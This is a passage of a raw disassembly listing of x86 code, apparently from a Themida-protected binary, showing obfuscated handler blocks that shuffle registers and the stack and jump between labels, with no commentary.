		and	ebx, 27843368h
		sub	ebx, 0AC5E9F31h
		add	esi, 5FCC2F09h
		sub	esi, ebx
		push	ebx
		jmp	loc_569AC5
; ---------------------------------------------------------------------------


loc_565DB8:				; CODE XREF: sub_56207C+8F39j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_572090
; ---------------------------------------------------------------------------


loc_565DC4:				; DATA XREF: Themida_:0055E158o
		lodsd
		jmp	loc_566EAE
; ---------------------------------------------------------------------------


loc_565DCA:				; CODE XREF: sub_56207C-2D25j
		mov	esi, [esp+1Ah+var_1C+2]
		jmp	loc_56401C
; ---------------------------------------------------------------------------


loc_565DD2:				; CODE XREF: sub_56207C+F141j
		add	esp, 4
		jmp	loc_56775E
; ---------------------------------------------------------------------------


loc_565DDD:				; CODE XREF: sub_56207C+5660j
		mov	esp, [esp+16h+var_18+2]
		jmp	loc_567E04
; ---------------------------------------------------------------------------


loc_565DE5:				; CODE XREF: sub_56207C+2C30j
		sub	edx, 353E0018h
		push	ebx
		mov	ebx, 521B0Ah
		shl	ebx, 1
		push	ecx
		push	eax
		jmp	loc_55ED65
; ---------------------------------------------------------------------------


loc_565DFA:				; CODE XREF: sub_56207C+A918j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_573150
; ---------------------------------------------------------------------------


loc_565E0D:				; CODE XREF: sub_56207C+74C8j
		xchg	ecx, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], ebx
		jmp	loc_56AF54
; ---------------------------------------------------------------------------


loc_565E19:				; CODE XREF: sub_56207C+D7A5j
		sub	eax, ebx
		sub	eax, 6FA4360h
		pop	ebx
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_571D09
; ---------------------------------------------------------------------------


loc_565E2F:				; CODE XREF: sub_56207C+10E7Fj
		pop	eax
		add	esp, 4
		push	42D4h
		mov	[esp+22h+var_24+2], ebp
		push	1
		mov	ebp, [esp+26h+var_28+2]
		add	esp, 4
		and	eax, ebp
		jmp	loc_572008
; ---------------------------------------------------------------------------


loc_565E50:				; CODE XREF: sub_56207C-528j
		pop	ecx
		add	ebx, ebp
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_565E65:				; CODE XREF: sub_56207C+C241j
		push	eax
		mov	eax, 6B1C58C7h
		jmp	loc_571285
; ---------------------------------------------------------------------------


loc_565E70:				; CODE XREF: sub_56207C+642Bj
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, 4
		jmp	loc_56A8C6
; ---------------------------------------------------------------------------


loc_565E7D:				; CODE XREF: sub_56207C+ACCEj
		add	eax, 47465A67h
		sub	eax, edx
		jmp	loc_56F812
; ---------------------------------------------------------------------------


loc_565E89:				; CODE XREF: sub_56207C+9D8Dj
		sub	ecx, edi
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		xchg	ecx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		jmp	loc_56B7E0
; ---------------------------------------------------------------------------


loc_565E9F:				; CODE XREF: sub_56207C+C3A0j
		dec	bl
		add	bl, 0F1h
		sub	al, bl
		jmp	loc_563BE5
; ---------------------------------------------------------------------------


loc_565EAB:				; CODE XREF: sub_56207C+23F0j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_18]
		jmp	loc_563B0B
; ---------------------------------------------------------------------------


loc_565EBC:				; CODE XREF: sub_56207C+F1DBj
		mov	esp, [esp+18h+var_18]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_565EC4:				; CODE XREF: sub_56207C+9E56j
		mov	[esp+18h+var_18], eax
		push	ecx
		mov	ch, 0A9h
		inc	ch
		jmp	loc_56058A
; ---------------------------------------------------------------------------


loc_565ED1:				; CODE XREF: sub_56207C+A828j
		xor	[esp+1Ch+var_1C], edx
		xor	edx, [esp+1Ch+var_1C]
		pop	esp
		push	1734h
		jmp	loc_570D30
; ---------------------------------------------------------------------------


loc_565EE2:				; CODE XREF: sub_56207C-902j
		mov	esi, 7A2F58B2h
		xchg	ecx, esi
		not	ecx
		jmp	loc_561304
; ---------------------------------------------------------------------------


loc_565EF0:				; CODE XREF: sub_56207C-354Ej
		pop	eax
		add	esi, 2
		push	esi
		push	[esp+26h+var_24+2]
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		pop	[esp+26h+var_28+2]
		pop	esp
		bts	word ptr [esp+1Eh+var_20+2], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_565F14:				; CODE XREF: sub_56207C-2C92j
		shl	ecx, 2
		xor	ecx, 2910DC0Ch
		jmp	loc_561AE5
; ---------------------------------------------------------------------------


loc_565F22:				; CODE XREF: sub_56207C+A397j
		shr	edx, 2
		jmp	loc_56C8E5
; ---------------------------------------------------------------------------


loc_565F2A:				; CODE XREF: sub_56207C+41F3j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+22h+var_24+2]
		jmp	loc_5632EF
; ---------------------------------------------------------------------------


loc_565F3B:				; CODE XREF: sub_56207C+4FF0j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xor	edi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edi
		xor	edi, [esp+22h+var_24+2]
		jmp	loc_563B1F
; ---------------------------------------------------------------------------


loc_565F52:				; CODE XREF: sub_56207C-124Cj
		pop	esi
		jmp	loc_561E13
; ---------------------------------------------------------------------------


loc_565F58:				; CODE XREF: sub_56207C+44EBj
		mov	[esp+28h+var_28], ebx
		jmp	loc_563E65
; ---------------------------------------------------------------------------


loc_565F60:				; CODE XREF: sub_56207C+E1D0j
		push	esi
		push	ebp
		mov	ebp, 2D1D7880h
		xor	ebp, 329974E3h
		dec	ebp
		shl	ebp, 1
		jmp	loc_56BF9E
; ---------------------------------------------------------------------------


loc_565F75:				; CODE XREF: sub_56207C+1125Ej
		pop	esp
		push	1FB8h
		mov	[esp+30h+var_30], edi
		mov	edi, 30EF673Eh
		add	edi, 0E006230h
		sub	edi, 1
		xor	edi, 5617268Dh
		xor	edi, 7755DEE1h
		jmp	loc_56EB0A
; ---------------------------------------------------------------------------


loc_565F9D:				; CODE XREF: sub_56207C+7FF4j
		push	ecx
		mov	ecx, 50643Bh
		sub	esi, ecx
		pop	ecx
		jmp	loc_563E98
; ---------------------------------------------------------------------------


loc_565FAB:				; CODE XREF: sub_56207C-E6Cj
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		shr	ecx, 0Ah
		push	29C7h
		mov	[esp+18h+var_18], edi
		push	ebx
		sub	[esp+1Ch+var_1C], 2E8E2786h
		push	[esp+1Ch+var_1C]
		mov	edi, [esp+20h+var_20]
		add	esp, 4
		push	edx
		jmp	loc_5661EB
; ---------------------------------------------------------------------------


loc_565FD3:				; CODE XREF: sub_56207C+12B9j
		pop	edi
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		push	ebx
		mov	ebx, 18AF797h
		sub	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		xor	edi, [esp+22h+var_24+2]
		xor	[esp+22h+var_24+2], edi
		xor	edi, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_562684
; ---------------------------------------------------------------------------


loc_565FF3:				; CODE XREF: sub_56207C+CEADj
		pop	eax
		push	edx
		jmp	loc_56A78C
; ---------------------------------------------------------------------------


loc_565FFA:				; CODE XREF: sub_56207C-453j
		not	al
		push	2BD7h
		mov	[esp+38h+var_38], ecx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_56E018
; ---------------------------------------------------------------------------


loc_56600F:				; CODE XREF: sub_56207C+4754j
		push	edx
		mov	edx, 23B45818h
		not	edx
		shr	edx, 6
		add	edx, 3CA37C8h
		add	ebp, edx
		jmp	loc_5689EB
; ---------------------------------------------------------------------------


loc_566027:				; CODE XREF: sub_56207C+1A8Aj
		sub	ebx, 1DBE5498h
		sub	ebx, 45E1622Ah
		sub	ebx, 683464D8h
		push	eax
		mov	eax, 42383430h
		shl	eax, 1
		add	eax, 438646BDh
		not	eax
		jmp	loc_5651D7
; ---------------------------------------------------------------------------


loc_56604D:				; CODE XREF: sub_56207C+1065Bj
		pop	[esp+18h+var_18]
		pop	esp
		mov	[esp+10h+var_10], ebx
		jmp	loc_560BC2
; ---------------------------------------------------------------------------


loc_566059:				; CODE XREF: sub_56207C+4F56j
		push	ebx
		pop	ecx
		push	[esp+10h+var_10]
		pop	ebx
		add	esp, 4
		push	1699h
		mov	[esp+10h+var_10], edx
		jmp	loc_56FEB6
; ---------------------------------------------------------------------------


loc_566072:				; CODE XREF: sub_56207C+B402j
		mov	ah, 8Fh
		sub	bl, 0B4h
		sub	bl, ah
		add	bl, 0B4h
		pop	ax
		push	edx
		mov	dl, 0F5h
		neg	dl
		sub	dl, 2Ch
		xor	dl, 1Ah
		sub	dl, 0C6h
		sub	bl, dl
		mov	edx, [esp+12h+var_14+2]
		add	esp, 4
		neg	bl
		push	ecx
		mov	ch, 0AEh
		jmp	loc_56D712
; ---------------------------------------------------------------------------


loc_56609E:				; CODE XREF: sub_56207C+FA6Cj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5660A3:				; CODE XREF: sub_56207C+2A00j
		sub	esp, 4
		mov	[esp+32h+var_34+2], ebx
		jmp	loc_56094C
; ---------------------------------------------------------------------------


loc_5660AE:				; CODE XREF: sub_56207C+57BCj
		push	ebx
		jmp	loc_563FCC
; ---------------------------------------------------------------------------


loc_5660B4:				; CODE XREF: sub_56207C-1C01j
		add	ebx, esi
		pop	esi
		push	ebx
		jmp	loc_5720F8
; ---------------------------------------------------------------------------


loc_5660BD:				; CODE XREF: sub_56207C-19D0j
		pop	esp
		mov	[esp+28h+var_28], edi
		mov	edi, 3B1818ADh
		shr	edi, 7
		xor	edi, 763035h
		sub	esi, 670661DAh
		jmp	loc_55E835
; ---------------------------------------------------------------------------


loc_5660DA:				; CODE XREF: sub_56207C+D9DAj
		push	ebx
		jmp	loc_560130
; ---------------------------------------------------------------------------


loc_5660E0:				; CODE XREF: sub_56207C+10E1Cj
		sub	al, bh
		add	al, 27h
		push	[esp+2Ch+var_2C]
		pop	ebx
		push	esi
		push	694Fh
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		sub	esp, 4
		mov	[esp+34h+var_34], ebp
		mov	ebp, 4
		jmp	loc_56A6D1
; ---------------------------------------------------------------------------


loc_566111:				; CODE XREF: sub_56207C+2048j
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	cx, word ptr [esp+1Eh+var_20+2]
		jmp	loc_56F39E
; ---------------------------------------------------------------------------


loc_566129:				; CODE XREF: sub_56207C+1155j
		sub	ebx, ecx
		sub	ebx, 4F71499Fh
		jmp	loc_570FC5
; ---------------------------------------------------------------------------


loc_566136:				; CODE XREF: sub_56207C+272Dj
		shr	eax, 7
		push	ebx
		mov	ebx, 0B3FE6068h
		add	eax, 4A04330Eh
		sub	eax, ebx
		sub	eax, 4A04330Eh
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		add	eax, 62AD30DBh
		neg	eax
		shr	eax, 7
		dec	eax
		not	eax
		xor	eax, 0A080321Dh
		jmp	loc_570D7A
; ---------------------------------------------------------------------------


loc_566168:				; DATA XREF: Themida_:0055E250o
		push	[esp+20h+var_20]
		pop	edx
		push	0E79h
		mov	[esp+24h+var_24], edx
		push	esp
		jmp	loc_56D587
; ---------------------------------------------------------------------------


loc_56617A:				; CODE XREF: sub_56207C+196j
		mov	dl, ch
		pop	ecx
		xor	dl, 0FAh
		not	dl
		shl	dl, 2
		shr	dl, 4
		push	ecx
		mov	ch, 4Fh
		xor	ch, 0ACh
		shr	ch, 6
		xor	ch, 0D3h
		add	ch, 96h
		add	dl, ch
		pop	ecx
		sub	dl, 0F1h
		sub	ch, 0C2h
		add	ch, 0C2h
		sub	ch, 8
		add	ch, dl
		add	ch, 8
		sub	ch, 0C2h
		add	ch, 0C2h
		jmp	loc_566C47
; ---------------------------------------------------------------------------


loc_5661B6:				; CODE XREF: sub_56207C+D68Aj
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		add	esi, ecx
		mov	ecx, [esp+60h+var_60]
		push	ebx
		push	esp
		mov	ebx, [esp+68h+var_68]
		add	esp, 4
		jmp	loc_571010
; ---------------------------------------------------------------------------


loc_5661D1:				; CODE XREF: sub_56207C-66Aj
		add	edx, 18E40701h
		sub	eax, edx
		jmp	loc_568A5A
; ---------------------------------------------------------------------------


loc_5661DE:				; CODE XREF: sub_56207C+A4B3j
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		add	edx, ecx
		jmp	loc_5602BE
; ---------------------------------------------------------------------------


loc_5661EB:				; CODE XREF: sub_56207C+3F52j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+24h+var_24], edi
		sub	esp, 4
		mov	[esp+28h+var_28], ebp
		mov	ebp, 4CB0176Fh
		mov	edi, 0BF69EE5Ah
		add	edi, ebp
		pop	ebp
		jmp	loc_566305
; ---------------------------------------------------------------------------


loc_56620E:				; CODE XREF: sub_56207C-2C4Ej
		sub	dx, 0AA75h
		mov	bx, dx
		pop	edx
		push	esi
		mov	si, 2FB5h
		neg	si
		jmp	loc_563979
; ---------------------------------------------------------------------------


loc_566224:				; CODE XREF: sub_56207C+BF65j
		neg	byte ptr [esp+1Eh+var_20+2]
		pop	cx
		jmp	loc_5610C0
; ---------------------------------------------------------------------------


loc_56622E:				; CODE XREF: sub_56207C+261Cj
		add	esp, 4
		push	eax
		jmp	loc_570D6D
; ---------------------------------------------------------------------------


loc_566237:				; CODE XREF: sub_56207C+4603j
		push	ebp
		mov	ebp, 12893DFDh
		neg	ebp
		add	ebp, 659A2137h
		add	ebp, 4E914366h
		xor	ebp, 0E50B0808h
		jmp	loc_5608F2
; ---------------------------------------------------------------------------


loc_566256:				; CODE XREF: sub_56207C+C0DCj
		sub	edx, ebx
		jmp	loc_5614FA
; ---------------------------------------------------------------------------


loc_56625D:				; CODE XREF: sub_56207C+111FDj
		mov	edx, 1EF630A6h
		jmp	loc_566D7B
; ---------------------------------------------------------------------------


loc_566267:				; CODE XREF: sub_56207C+3261j
		add	[esp+2Eh+var_30+2], 4
		pop	ebx
		jmp	loc_565F2A
; ---------------------------------------------------------------------------


loc_566274:				; CODE XREF: sub_56207C-1421j
		pop	eax
		add	esp, 4
		push	6F89h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 8F37591h
		jmp	loc_5605D5
; ---------------------------------------------------------------------------


loc_56628A:				; CODE XREF: sub_56207C+BBE8j
		sub	ebx, 2413FFBh
		add	edx, ebx
		pop	ebx
		add	edx, 4
		jmp	loc_561078
; ---------------------------------------------------------------------------


loc_56629E:				; CODE XREF: sub_56207C+F178j
		add	ecx, 0B4E268A6h
		mov	ebx, ecx
		pop	ecx
		add	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		jmp	loc_56CCD4
; ---------------------------------------------------------------------------


loc_5662B2:				; CODE XREF: sub_56207C+BA5Ej
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		sub	ebx, 2F1D7287h
		xor	ebx, 65A60FEBh
		add	esi, ebx
		pop	ebx
		add	ebp, esi
		jmp	loc_5724C1
; ---------------------------------------------------------------------------


loc_5662D1:				; CODE XREF: sub_56207C+AD85j
		pop	edi
		push	6B4F492Ah
		pop	ebp
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 6B056F48h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 26C2D21h
		sub	ebp, edx
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 26C2D21h
		jmp	loc_5600CE
; ---------------------------------------------------------------------------


loc_5662FE:				; CODE XREF: sub_56207C+C1A7j
		mov	edx, esp
		jmp	loc_56D288
; ---------------------------------------------------------------------------


loc_566305:				; CODE XREF: sub_56207C+418Dj
		not	edi
		shl	edi, 8
		jmp	loc_56A0C2
; ---------------------------------------------------------------------------


loc_56630F:				; CODE XREF: sub_56207C+8A26j
		mov	eax, [esp+24h+var_24]
		add	esp, 4
		pop	ebx
		push	ecx
		mov	ch, 99h
		or	ch, 9Ah
		add	ch, 2Eh
		shl	ch, 5
		or	ch, 47h
		not	ch
		sub	ch, 4Dh
		add	ch, 0DDh
		xor	dl, ch
		pop	ecx
		or	dl, 0AAh
		shl	dl, 4
		jmp	loc_569FC9
; ---------------------------------------------------------------------------


loc_56633B:				; CODE XREF: sub_56207C+E4F2j
		pop	edx
		jmp	loc_56D840
; ---------------------------------------------------------------------------


loc_566341:				; CODE XREF: sub_56207C-2EA9j
		sub	ebp, 60F09817h
		add	edx, ebp
		pop	ebp
		jmp	loc_5614D6
; ---------------------------------------------------------------------------


loc_56634F:				; CODE XREF: sub_56207C+E31Fj
		push	cx
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566357:				; CODE XREF: sub_56207C+5187j
		mov	ecx, ebx
		jmp	loc_56B353
; ---------------------------------------------------------------------------


loc_56635E:				; CODE XREF: sub_56207C+1EB4j
		sub	dx, si
		add	dx, 5A8Ah
		pop	si
		push	si
		jmp	loc_570B72
; ---------------------------------------------------------------------------


loc_56636F:				; CODE XREF: sub_56207C+BF5Ej
		not	edi
		xchg	edi, esi
		xor	esi, 0E6FEF86Eh
		mov	edx, esi
		jmp	loc_562BEB
; ---------------------------------------------------------------------------


loc_566380:				; CODE XREF: sub_56207C+A078j
		add	edi, ebx
		pop	ebx
		and	eax, edi
		push	[esp+16h+var_18+2]
		mov	edi, [esp+1Ah+var_1C+2]
		push	esi
		mov	esi, esp
		push	4509h
		mov	[esp+22h+var_24+2], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		push	6815h
		mov	[esp+1Eh+var_20+2], esi
		mov	esi, esp
		jmp	loc_56516A
; ---------------------------------------------------------------------------


loc_5663B7:				; CODE XREF: sub_56207C+A5EBj
		add	esp, 4
		xor	edi, 248C78FDh
		jmp	loc_55FD21
; ---------------------------------------------------------------------------


loc_5663C8:				; CODE XREF: sub_56207C+11097j
		pop	ecx
		xor	ebx, edi
		pop	edi
		xor	ebx, 48B373C3h
		sub	ecx, 7CE64045h
		add	ecx, ebx
		add	ecx, 7CE64045h
		jmp	loc_56E50B
; ---------------------------------------------------------------------------


loc_5663E5:				; CODE XREF: sub_56207C+11BCj
		pop	esp
		jmp	loc_5631E2
; ---------------------------------------------------------------------------


loc_5663EB:				; CODE XREF: sub_56207C+AB7Aj
		pop	edx
		push	ebx
		jmp	loc_57061F
; ---------------------------------------------------------------------------


loc_5663F2:				; CODE XREF: sub_56207C+E0Aj
		sub	ebp, 23FB28ADh
		jmp	loc_57340D
; ---------------------------------------------------------------------------


loc_5663FD:				; CODE XREF: sub_56207C+10BCBj
		mov	[esp+28h+var_28], edi
		push	esi
		mov	esi, 67FD6F30h
		mov	edi, esi
		pop	esi
		jmp	loc_572EE5
; ---------------------------------------------------------------------------


loc_56640E:				; CODE XREF: sub_56207C+F60Ej
		sub	ebp, 5C100212h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+24h+var_24]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_566423:				; CODE XREF: sub_56207C+884Fj
		push	ecx
		jmp	near ptr dword_55FEE8+0Eh
; ---------------------------------------------------------------------------


loc_566429:				; CODE XREF: sub_56207C+B506j
		xchg	ebp, [esp+28h+var_28]
		pop	esp
		sub	esp, 4
		mov	[esp+28h+var_28], esi
		mov	esi, 7184485Eh
		jmp	loc_56C961
; ---------------------------------------------------------------------------


loc_56643D:				; CODE XREF: sub_56207C-2EC1j
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebp
		push	[esp+0Ah+var_8+2]
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_569019
; ---------------------------------------------------------------------------


loc_56645B:				; CODE XREF: sub_56207C+59D9j
		add	ebx, ebp
		pop	ebp
		mov	edi, [esp+2+var_4+2]
		push	2421h
		jmp	loc_570913
; ---------------------------------------------------------------------------


loc_56646B:				; CODE XREF: sub_56207C+808Ej
		sub	edi, esi
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		mov	edx, 0FFFFFFFFh
		add	edi, edx
		pop	edx
		push	eax
		mov	eax, 425433DDh
		push	ebx
		mov	ebx, 21891753h
		or	eax, ebx
		pop	ebx
		not	eax
		inc	eax
		xor	eax, 0A298D9E3h
		sub	edi, eax
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		xor	edi, 8C7813BAh
		sub	esi, 63564173h
		jmp	loc_56F2EC
; ---------------------------------------------------------------------------


loc_5664B7:				; CODE XREF: sub_56207C+B3EDj
		push	ecx
		mov	ecx, 7FB04763h
		inc	ecx
		not	ecx
		inc	ecx
		add	ecx, 42BC536Dh
		xor	ecx, 0C30C0C0Dh
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		jmp	loc_56420E
; ---------------------------------------------------------------------------


loc_5664D9:				; CODE XREF: sub_56207C+772Cj
		push	437Eh
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, 31326D06h
		xor	edx, esi
		pop	esi
		sub	edx, 13442351h
		jmp	loc_562082
; ---------------------------------------------------------------------------


loc_5664F4:				; DATA XREF: Themida_:0055E2F0o
		lodsb
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edx
		push	ecx
		mov	cl, 39h
		jmp	loc_569099
; ---------------------------------------------------------------------------


loc_566506:				; CODE XREF: sub_56207C+86DEj
		push	[esp+0Eh+var_10+2]
		jmp	loc_56D6AF
; ---------------------------------------------------------------------------


loc_56650E:				; CODE XREF: sub_56207C+8CCj
		mov	ebp, [esp+26h+var_28+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ah+var_2C+2]
		jmp	loc_55F279
; ---------------------------------------------------------------------------


loc_566538:				; CODE XREF: sub_56207C+1135Ej
		mov	dl, 0A0h
		add	bh, dl
		pop	dx
		shr	bh, 4
		add	bh, 0E0h
		add	al, bh
		push	[esp+28h+var_28]
		pop	ebx
		push	6E93h
		mov	[esp+2Ch+var_2C], ebp
		jmp	loc_565237
; ---------------------------------------------------------------------------


loc_566557:				; CODE XREF: sub_56207C+AAC4j
		xor	ecx, 1E9E77C8h
		jmp	loc_5680E3
; ---------------------------------------------------------------------------


loc_566562:				; CODE XREF: sub_56207C+BD6Aj
		push	247Ah
		jmp	loc_565F58
; ---------------------------------------------------------------------------


loc_56656C:				; CODE XREF: sub_56207C+F62Bj
		pop	ebx
		jmp	loc_56F690
; ---------------------------------------------------------------------------


loc_566572:				; CODE XREF: sub_56207C-F0Dj
		xchg	edx, [esp+3Ah+var_3C+2]
		jmp	loc_56F4A8
; ---------------------------------------------------------------------------


loc_56657A:				; CODE XREF: Themida_:0055E970j
		push	[esp+3Ah+var_3C+2]
		pop	edx
		add	esp, 4
		xchg	edi, [esp+36h+var_38+2]
		pop	esp
		mov	[esp+32h+var_34+2], ebx
		push	eax
		mov	eax, 3A8D2C2Bh
		push	ebp
		mov	ebp, 5A3B2DD9h
		or	eax, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		jmp	loc_564D1F
; ---------------------------------------------------------------------------


loc_5665A1:				; DATA XREF: Themida_:0055E2E8o
		mov	ax, word ptr [esp+3Ah+var_3C+2]
		jmp	loc_568BCB
; ---------------------------------------------------------------------------


loc_5665AA:				; CODE XREF: sub_56207C+9DEj
		add	eax, 0F8979D7h
		sub	eax, ebx
		sub	eax, 0F8979D7h
		push	ebx
		push	ebp
		mov	ebp, 0B491F10h
		mov	ebx, ebp
		mov	ebp, [esp+0]
		jmp	loc_56CA74
; ---------------------------------------------------------------------------


loc_5665C7:				; CODE XREF: sub_56207C+66D9j
		mov	[esp+0], ecx
		jmp	loc_57197A
; ---------------------------------------------------------------------------


loc_5665CF:				; CODE XREF: sub_56207C+3575j
					; sub_56207C+CA55j
		sub	esp, 4
		jmp	loc_56D685
; ---------------------------------------------------------------------------


loc_5665D7:				; CODE XREF: sub_56207C-12BEj
		or	edx, offset dword_5B54A8
		or	edx, 731E3914h
		push	ebx
		jmp	loc_564B1F
; ---------------------------------------------------------------------------


loc_5665E9:				; DATA XREF: Themida_:0055E1ACo
		mov	edx, [esp+30h+var_30]
		sub	esp, 4
		jmp	loc_563572
; ---------------------------------------------------------------------------


loc_5665F7:				; CODE XREF: sub_56207C+FB7Dj
		add	edx, 4
		push	edx
		push	[esp+38h+var_34]
		pop	edx
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		jmp	loc_56B191
; ---------------------------------------------------------------------------


loc_56660B:				; CODE XREF: sub_56207C+E536j
		mov	bl, al
		pop	eax
		mov	cl, bl
		jmp	loc_562880
; ---------------------------------------------------------------------------


loc_566615:				; CODE XREF: sub_56207C+11544j
		pop	esp
		mov	[esp+2Ch+var_2C], ebp
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		mov	ecx, 2
		sub	esp, 4
		mov	[esp+34h+var_34], ecx
		jmp	loc_56EA09
; ---------------------------------------------------------------------------


loc_566635:				; CODE XREF: sub_56207C+BC52j
		mov	esi, 1395362Ah
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	esi, 0BD1C8B2Eh
		push	edx
		mov	edx, 7B306A7Ah
		jmp	loc_567EE9
; ---------------------------------------------------------------------------


loc_566651:				; CODE XREF: sub_56207C+B177j
		mov	edx, 87EEA29Ch
		sub	edx, ecx
		pop	ecx
		inc	edx
		push	ecx
		mov	ecx, 4F7071FCh
		add	ecx, 471176B4h
		and	ecx, 0B7734D1h
		inc	ecx
		shl	ecx, 4
		add	ecx, 115F2DFEh
		and	edx, ecx
		pop	ecx
		or	edx, 26484F4Eh
		jmp	loc_566237
; ---------------------------------------------------------------------------


loc_566684:				; CODE XREF: sub_56207C-3B9Fj
		sub	ebx, 180845FAh
		add	edx, ebx
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_561FD5
; ---------------------------------------------------------------------------


loc_566697:				; CODE XREF: sub_56207C+1123Bj
		mov	edx, 5DD361E5h
		xor	edx, ebx
		pop	ebx
		add	ebp, edx
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_55EBFF
; ---------------------------------------------------------------------------


loc_5666A9:				; CODE XREF: sub_56207C-30C8j
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_30]
		jmp	loc_5669E4
; ---------------------------------------------------------------------------


loc_5666B9:				; CODE XREF: sub_56207C+E727j
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		push	9B477BBh
		jmp	loc_57153A
; ---------------------------------------------------------------------------


loc_5666CC:				; CODE XREF: sub_56207C-DE9j
		add	esi, edi
		pop	edi
		push	ebp
		jmp	loc_56BD9F
; ---------------------------------------------------------------------------


loc_5666D5:				; CODE XREF: sub_56207C-38D6j
		push	ebx
		mov	ebx, 46B20AB4h
		jmp	loc_56DD5B
; ---------------------------------------------------------------------------


loc_5666E0:				; CODE XREF: sub_56207C+E19Aj
		sub	[esp+8+var_4], ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edx
		sub	esp, 4
		mov	[esp+8+var_8], edi
		jmp	loc_56B423
; ---------------------------------------------------------------------------


loc_566704:				; CODE XREF: sub_56207C+1D0Dj
		add	esp, 4
		jmp	loc_562F4C
; ---------------------------------------------------------------------------


loc_56670C:				; CODE XREF: sub_56207C+C097j
		mov	ebx, 4
		jmp	loc_57303A
; ---------------------------------------------------------------------------


loc_566716:				; CODE XREF: sub_56207C+835Fj
		pop	[esp+2Ch+var_2C]
		mov	esp, [esp+28h+var_28]
		push	small 5BB7h
		jmp	loc_563BEC
; ---------------------------------------------------------------------------


loc_566725:				; CODE XREF: sub_56207C+67B8j
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		add	esp, 4
		push	[esp+22h+var_24+2]
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		add	esp, 4


loc_56673B:				; CODE XREF: sub_56207C:loc_55F4A8j
					; sub_56207C+10FF8j
		push	[esp+1Eh+var_20+2]
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_5673B9
; ---------------------------------------------------------------------------


loc_566746:				; CODE XREF: sub_56207C-A59j
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		pop	esp
		push	edx
		push	3195h
		mov	[esp+10h+var_10], ebx
		mov	bl, 4
		mov	dh, bl
		jmp	loc_5622F8
; ---------------------------------------------------------------------------


loc_566762:				; CODE XREF: sub_56207C+BD28j
		pop	ebp
		add	eax, edx
		pop	edx
		pop	ebx
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	ax, word ptr [esp+4+var_4]
		push	edx
